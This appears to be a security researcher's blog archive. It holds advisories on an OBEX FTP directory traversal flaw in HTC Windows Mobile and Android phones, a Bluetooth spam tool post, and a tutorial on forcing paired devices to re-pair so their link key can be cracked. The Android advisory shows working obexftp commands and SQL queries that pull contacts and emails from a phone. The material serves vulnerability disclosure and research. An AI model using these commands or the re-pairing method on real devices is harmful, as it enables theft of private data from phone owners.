Tuesday, October 25, 2011

Mobile phones vulnerable to OBEX FTP Service Directory Traversal in Japan

HTC mobile phones running the following versions of Windows Mobile and Android are affected by the HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability (Bugtraq ID 33359) and the HTC / Android OBEX FTP Service Directory Traversal Vulnerability (Bugtraq ID 48821), respectively.

PlatformWindows MobileAndroid
VulnerableWindows Mobile 6 ProfessionalAndroid 2.1
Windows Mobile 6 StandardAndroid 2.2
Windows Mobile 6.1 Professional
Windows Mobile 6.1 Standard
Fixed (upon disclosure)Windows Mobile 6.5Android 2.3

After carrying out several tests in mobile phones sold in Japan by different operators, I can state that the following handsets are vulnerable, up to September 2011.

PlatformProduct nameOperator nameStatus
Windows MobileHTC TOUCH™ DUALDoCoMo HT1100Discontinued
HTC TOUCH™ DIAMONDDoCoMo HT-02ADiscontinued
HTC TOUCH™ PRODoCoMo HT-01ADiscontinued
HTC TyTN II™EMobile S11HTOn sale
HTC TOUCH™ DUALEMobile S12HTOn sale
HTC S740EMobile S22HTOn sale
AndroidHTC ARIAEMobile S31HTOn sale
HTC DESIRESoftbank X06HTOn sale
HTC DESIRESoftbank X06HTIIOn sale
HTC DESIRE HDSoftbank 001HTOn sale
HTC EVO WiMAXAu KDDI ISW11HTOn sale

Regarding the security hotfix for Windows Mobile, HTC discontinued the support downloads for Windows Mobile 6 and Windows Mobile 6.1 handsets time ago. Unfortunately, the operator EMobile did not install the hotfix when it was available and as far as I could test products on sale are vulnerable. Users have no way to protect their handsets against the vulnerability.

Regarding the security hotfix for Android, HTC has not announced any security update related to the vulnerability for the affected versions, Android 2.1 and Android 2.2. The advisory was, however, reported to the company in 2011/02 (then disclosed in 2011/07) and the security flaw was fixed for Android 2.3. Users of HTC / Android products should update to Android 2.3 to protect their handsets.

Tuesday, August 30, 2011

My first academic publication

Alberto Moreno and Eiji Okamoto. BlueSnarf revisited: OBEX FTP service directory traversal. In V. Casares-Giner et al., editors, NETWORKING 2011 Workshops, number 6827 in Lecture Notes in Computer Science, pages 155-166. Springer, 2011. © Springer-Verlag

Tuesday, July 26, 2011

HTC / Android OBEX FTP Service Directory Traversal Vulnerability Advisory

Title: HTC / Android OBEX FTP Service Directory Traversal

Author: Alberto Moreno Tablado

Vendor: HTC
Vulnerable Products:

- HTC devices running Android 2.1

- HTC devices running Android 2.2

Summary

HTC devices running Android 2.1 and Android 2.2 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. Exploiting this issue allows a remote authenticated attacker to list arbitrary directories, and read arbitrary files, via a ../ in a pathname.

Description

In the present HTC / Android phones include a Bluetooth stack, which provides Bluetooth communications with other remote devices. The File Transfer Profile (OBEX FTP) is one among all the Bluetooth services that may be implemented in the stack.

The OBEX FTP service is a software implementation of the File Transfer Profile (FTP). The File Transfer Profile (FTP) is intended for data exchange and it is based on the OBEX communications client-server protocol. The service is present in a large number of Bluetooth mobile phones. This service can be used for sending files from the phone to other remote devices and also allows remote devices to browse shared folders and download files from the phone.

In HTC / Android phones, the default directory of the OBEX FTP Server is the SDCard. Only files placed in the directory of the SDCard can be shared. The user cannot select other directory so sensitive files related to the operating system are not exposed.

There exists a Directory Traversal vulnerability in the OBEX FTP Service in the Bluetooth Stack implemented in HTC devices running Android 2.1 and Android 2.2. The OBEX FTP Server is a 3rd party driver developed by HTC and installed on HTC devices running Android operating system, so the vulnerability affects to this vendor specifically.

A remote attacker (who previously owned authentication and authorization rights) can use tools like ObexFTP or gnomevfs-ls over Linux to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks.

The only requirement is that the attacker must have authentication and authorization privileges over Bluetooth. Pairing up with the remote device should be enough to get it. However, more sophisticated attacks, such as sniffing the Bluetooth pairing, linkkey cracking and MAC address spoofing, can be used in order to avoid this. In case the attacker succeeded in getting the proper privileges, further actions will be transparent to the user.

Scope of the attack

The Directory Traversal vulnerability allows a remote attacker to browse folders located anywhere in the file system and download any file contained in any folder.

1) List arbitrary directories

Any directory within the file system of the phone can be browsed, beyond the limits of the default shared folder (the SDCard).

The following example is the output of a command for listing a directory with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the path ../, the command retrieves the content of the parent of the default directory of the FTP server, this is the root directory of the disk file system:

gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -l "../"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 29ms
Receiving "../"... Sending ".."...|done
/<?xml version="1.0"?>
<!DOCTYPE folder-listing SYSTEM "obex-folder-listing.dtd">
<folder-listing version="1.0">
  <parent-folder/>
  <folder name="sqlite_stmt_journals"/>
  <folder name="config"/>
  <folder name="sdcard"/>
  <folder name="d"/>
  <folder name="etc"/>
  <folder name="cache"/>
  <folder name="system"/>
  <folder name="sys"/>
  <folder name="sbin"/>
  <folder name="proc"/>
  <file name="logo.rle" size="11336" user-perm="R" created="19700101T090000Z"/>
  <file name="init.rc" size="14664" user-perm="R" created="19700101T090000Z"/>
  <file name="init.goldfish.rc" size="1677" user-perm="R" created="19700101T090000Z"/>
  <file name="init.buzz.rc" size="3608" user-perm="R" created="19700101T090000Z"/>
  <file name="init" size="107668" user-perm="R" created="19700101T090000Z"/>
  <file name="default.prop" size="118" user-perm="R" created="19700101T090000Z"/>
  <folder name="data"/>
  <folder name="root"/>
  <folder name="dev"/>
</folder-listing>done
Disconnecting..-done


2) Read arbitrary files

Any file located in the file system can be downloaded. This may lead to access confidential data such as contacts, messages, emails or temporary internet files.

- Emails from Google account downloaded via GMAIL application, located in /data/data/com.google.android.providers.gmail/databases/mailstore.*****@gmail.com.db
- Friends, conversations, mailbox_messages, etc. from Facebook account downloaded via FACEBOOK application, located in ../data/data/com.facebook.katana/databases/fb.db
- Contacts database, located in /data/data/com.android.providers.contacts/databases/contacts2.db.

The following example is the output of a command for downloading a file with ObexFTP. Given the Bluetooth MAC address of an HTC / Android based mobile phone and the pathname ../data/data/com.android.providers.contacts/databases/contacts2.db, the command retrieves the contacts database:


gospel@ubuntu:~$ obexftp -b 90:21:55:8C:2C:3A -g "../data/data/com.android.providers.contacts/databases/contacts2.db"
Browsing 90:21:55:8C:2C:3A ...
Connecting..\done
Tried to connect for 50ms
Receiving "../data/data/com.android.providers.contacts/databases/contacts2.db"... Sending ".."...|Sending "data".../Sending "data"...-Sending "com.android.providers.contacts"...\Sending "databases"...|done
/done
Disconnecting..-done


Once the database is downloaded, contacts can be queried with SQL:

gospel@ubuntu:~$ ./sqlite3 contacts2.db "SELECT data.data1 from data INNER JOIN raw_contacts ON data.raw_contact_id = raw_contacts._id WHERE raw_contacts.account_type='com.htc.android.pcsc'"
08012341234
Philip J. Fry
pjfry@planex.com
...


Also contacts synced from Google and Facebook accounts can be queried from the same database:

gospel@ubuntu:~$ ./sqlite3 contacts2.db "SELECT data.data1 from data INNER JOIN raw_contacts ON data.raw_contact_id = raw_contacts._id WHERE raw_contacts.account_type='com.htc.socialnetwork.facebook'"
*********
Aitana *******
Aitana *******
********@gmail.com
http://profile.ak.fbcdn.net/hprofile-ak-snc4/hs712.ash1/******_*********
*_*******_*.jpg
...


Affected products

- HTC devices running Android 2.1
- HTC devices running Android 2.2

The following products were tested and showed to be vulnerable: HTC Wildfire A3333, Softbank 001HT (HTC Desire HD), EMobile S31HT (HTC Aria).

Vendor status

This vulnerability is related to CVE-2009-0244, a vulnerability announced in 2009 affecting HTC devices running Windows Mobile 6 and Windows Mobile 6.1 and reported to HTC Europe. After the vulnerability was disclosed, HTC issued security hotfixes under the name Hotfix to enhance the security mechanism of Bluetooth service for all the affected products. HTC reproduced the same security flaw in Android phones shipped throughout 2010 and 2011.

The current advisory was reported to HTC Japan in 2011/02. Subsequently, it was reported to HTC Europe in 2011/04 in order to obtain more feedback and re-attempt the collaboration. In both cases I failed to coordinate the disclosure of the advisory and release of the hotfix so finally I am forced to go public with all the information undisclosed.

The vulnerability is published as a zero-day threat. This means that all HTC devices running Android 2.1 and Android 2.2 shipped up to date July 2011 may be vulnerable and a security hotfix has not been issued by the manufacturer yet.

Users of HTC Android phones may expect to receive a notification for security update over-the-air regarding to this vulnerability, or find the latest updates in the support site.

Do not accept pairing nor connection requests from unknown sources. Delete old entries in the paired devices list.

Read the full advisory here.

HTC Wildfire, HTC Desire HD and HTC Aria are trademarks of HTC Corporation (HTC). Softbank 001HT is a trademark of SOFTBANK Corp. EMobile S31HT is a trademark of EMOBILE Ltd.

Thursday, July 16, 2009

HTC releases hotfix for Bluetooth security flaw

HTC commenced to issue hotfixes referred to the HTC / Windows Mobile OBEX FTP Service Directory Traversal vulnerability.

All users of HTC products affected may download and install the hotfix to enhance the security mechanisms of the Bluetooth service in their HTC handsets:
For other devices not listed, you may find the latest security updates here.

After the install of the security patch, the OBEX FTP Service Directory Traversal flaw will be fixed.



Thanks to Niclas Nielsen for the early notification.

All trademarks mentioned herein belong to HTC Corporation (HTC).

Monday, July 13, 2009

HTC / Windows Mobile OBEX FTP Service Directory Traversal Vulnerability Advisory

Title: HTC / Windows Mobile OBEX FTP Service Directory Traversal
Author: Alberto Moreno Tablado
Vendor: HTC
Vulnerable Products:
- HTC devices running Windows Mobile 6
- HTC devices running Windows Mobile 6.1
Non vulnerable products:
- HTC devices running Windows Mobile 5.0
- HTC devices running Windows Mobile 6.5
- Other vendors' Windows Mobile devices

Description

HTC devices running Windows Mobile 6 and Windows Mobile 6.1 are prone to a directory traversal vulnerability in the Bluetooth OBEX FTP Service. The service is located in a 3rd party driver developed by HTC and installed on HTC devices running Windows Mobile, so the vulnerability only affects to this vendor specifically.

The scope of the Directory Traversal vulnerability allows a remote attacker to traverse to parent directories out of the default Bluetooth shared folder by using ../ or ..\\ marks. This security flaw leads to browse folders located anywhere in the file system, download files contained in any folder as well as upload files to any folder, which may lead to code execution.



A remote attacker who previously owned authentication and authorization rights over Bluetooth can perform three risky actions on the device:

1) Browse directories located out of the limits of the default shared folder

The attacker can discover the structure of the file system and access to any directory within it, including:
- The flash hard drive
- The external storage card
- The internal mass storage memory, included in specific HTC devices



2) Download files without permission

The attacker can download sensitive files located anywhere in the file system, such as:
- personal pictures and documents located in \My Documents or any other directory
- Contacts, Calendar & Tasks information located in \PIM.vol
- Temporary internet cache and cookies located in \Windows\Profiles\guest
- emails located in \Windows\Messaging



3) Upload malicious files

The attacker can replace third party or system executable files with malicious files as well as upload trojans to any place in the filesystem, such as \Windows\Startup and, therefore, shall be executed the next time Windows Mobile inits.



The following HTC devices are affected by this vulnerability:
- HTC devices running Windows Mobile 6 Professional
- HTC devices running Windows Mobile 6 Standard
- HTC devices running Windows Mobile 6.1 Professional
- HTC devices running Windows Mobile 6.1 Standard

Here you can find a list of tested HTC devices proved to be vulnerable.

HTC devices running Windows Mobile 5.0 are not affected because the OBEX FTP service is not implemented in that OS version.

Other vendors' Windows Mobile devices are not affected either: ASUS, Samsung, LG, ...

Vendor Status

The vulnerability was first disclosed on 2009/01/19 as a whole Microsoft Bluetooth Stack issue in Windows Mobile 6 Professional. Subsequent tests proved that several Windows Mobile 6 Standard and Windows Mobile 6.1 Professional devices were also vulnerable. Microsoft was contacted on 2009/01/22 and this information was not made public because last mobile phones manufactured were vulnerable.

Further investigations proved that the issue is in a 3rd party driver installed by HTC, this vulnerability only affects to HTC devices and other vendors' Windows Mobile devices are not affected.

HTC Europe was contacted several times since 2009/02 until 2009/06. Through out this period of time I attempted to collaborate with the vendor and provided all the details concerning on the exploitation of the flaw. However, I failed to coordinate the disclosure of the advisory and the release of the hotfix so finally I was forced to go public with all the information undisclosed.

Having the vulnerability been announced HTC commenced to release hotfixes.

This vulnerability is a zero-day threat. This means that all devices shipped up to date (July 2009) may be vulnerable.

Read the full advisory here.

Wednesday, March 11, 2009

BlueZSpammer

Acabo de publicar una nueva versión de BlueZSpammer.



BlueZSpammer es una herramienta front-end para Obexftp que permite descubrir dispositivos Bluetooth con soporte para el Perfil de Carga de Objetos (OBEX Object Push) y enviar archivos de forma masiva. Es incluso capaz de filtrar únicamente teléfonos móviles y Smartphones. Utiliza la pila de protocolos BlueZ para Linux y está desarrollado en lenguaje C.



BlueZScanner implementa las siguientes funciones Bluetooth utilizando el API de BlueZ:
El código fuente de BlueZSpammer se distribuye libremente bajo licencia GNU.

BlueZSpammer es una herramienta desarrollada con fines científicos y educacionales con el objeto de ayudar a entender conceptos como el marketing de proximidad; si alguien está interesado en una solución profesional, recomiendo XBlue de Endorasoft. No debe ser utilizada como herramienta de spam en lugares públicos con fines comerciales o de fastidio para otras personas. El autor no tiene ninguna responsabilidad sobre el uso que pueda darse a esta herramienta.

Puedes encontrar más información sobre BlueZScanner aquí, la herramienta está disponible para descarga.





Sunday, November 23, 2008

Breaking the pair relationship between two remote devices

Sniffing and cracking the secret Bluetooth link key shared between two remote devices is only possible if the attacker can sniff the pairing process successfully. This means there's no way to sniff and crack the Bluetooth link key if both devices are already paired up, since they will follow the Challenge-Response authentication process.

If you find this scenario, it'd be interesting if you could break the pair relationship between both devices and force them to repeat the pairing process. Then you'll have the chance to sniff and crack the new link key.

Shaked and Wool Re-Pairing attack, the theory.

Long time ago Yaniv Shaked and Avishai Wool published a paper explaining how to cryptographically crack the Bluetooth PIN. I quote:

5.2 Attack details

Assume that two Bluetooth devices that have already been paired before now intend to establish communication again. This means that they don't need to create the link key Kab again, since they have already created and stored it before. They proceed directly to the Authentication phase (...). We describe three different methods that can be used to force the devices to repeat the pairing process. The efficiency of each method depends on the implementation of the Bluetooth core in the device under attack. These methods appear in order of efficiency:

  1. Since the devices skipped the pairing process and proceeded directly to the Authentication phase, the master device sends the slave an AU_RAND message, and expects the SRES message in return. Note that Bluetooth specifications allow a Bluetooth device to forget a link key. In such a case, the slave sends an LMP_not_accepted message in return, to let the master know it has forgotten the link key (...). Therefore, after the master device has sent the AU_RAND message to the slave, the attacker injects a LMP_not_accepted message toward the master. The master will be convinced that the slave has lost the link key and pairing will be restarted (...). Restarting the pairing procedure causes the master to discard the link key (...). This assures pairing must be done before devices can authenticate again.

  2. At the beginning of the Authentication phase, the master device is supposed to send the AU_RAND to the slave. If before doing so, the attacker injects a IN_RAND message toward the slave, the slave device will be convinced the master has lost the link key and pairing is restarted. This will cause the connection establishment to restart.

  3. During the Authentication phase, the master device sends the slave an AU_RAND message, and expects a SRES message in return. If, after the master has sent the AU_RAND message, an attacker injects a random SRES message toward the master, this will cause the Authentication phase to restart, and repeated attempts will be made (...). At some point, after a certain number of failed authentication attempts, the master device is expected to declare that the authentication procedure has failed (implementation dependent) and initiate pairing (...).

The three methods described above cause one of the devices to discard its link key. This assures the pairing process will occur during the next connection establishment, so the attacker will be able to eavesdrop on the entire process, and use the method described in Section 3 to crack the PIN.


Spoofing the wrong link key, the practice.

Shaked and Wool attack looks nice and smart, but method 3 can be described in a much easier way: You just need to spoof one device's BD_ADDR and provide a wrong Bluetooth link key when authenticating in some other device's Bluetooth profile. Trust relationship will be broken for security reasons and the stored link key deleted.

Let's see this with an example:

You discover two remote devices, a mobile phone and a PDA. You'd like to obtain the secret shared Bluetooth link key, however both devices are already paired up.





If any of the devices establishes a connection with the other one, they will follow a Challenge-Response process to validate the authentication mechanism.

In order to break the pair relationship, you need to spoof one of them first (spoof its BD_ADDR). Let's say you choose to spoof the mobile phone...



Then, you need to install a random Bluetooth link key in the system.



From now on whenever you try to establish a connection with any Bluetooth profile requiring authentication in the PDA (the other device) the stored link key will be used in the Challenge-Response process.

The link key provided is wrong, so the Challenge-Response process will fail.


The attacker tries to connect the OBEX FTP profile in the PDA, which requires authentication.

For security reasons, the trust relationship will be broken and the stored link key will be deleted in the PDA.



If the mobile phone now tries to establish a connection with the PDA, the devices won't follow the Challenge-Response authentication process; they will need to repeat the pairing process.



And you will be there to sniff and crack the new Bluetooth link key. ;)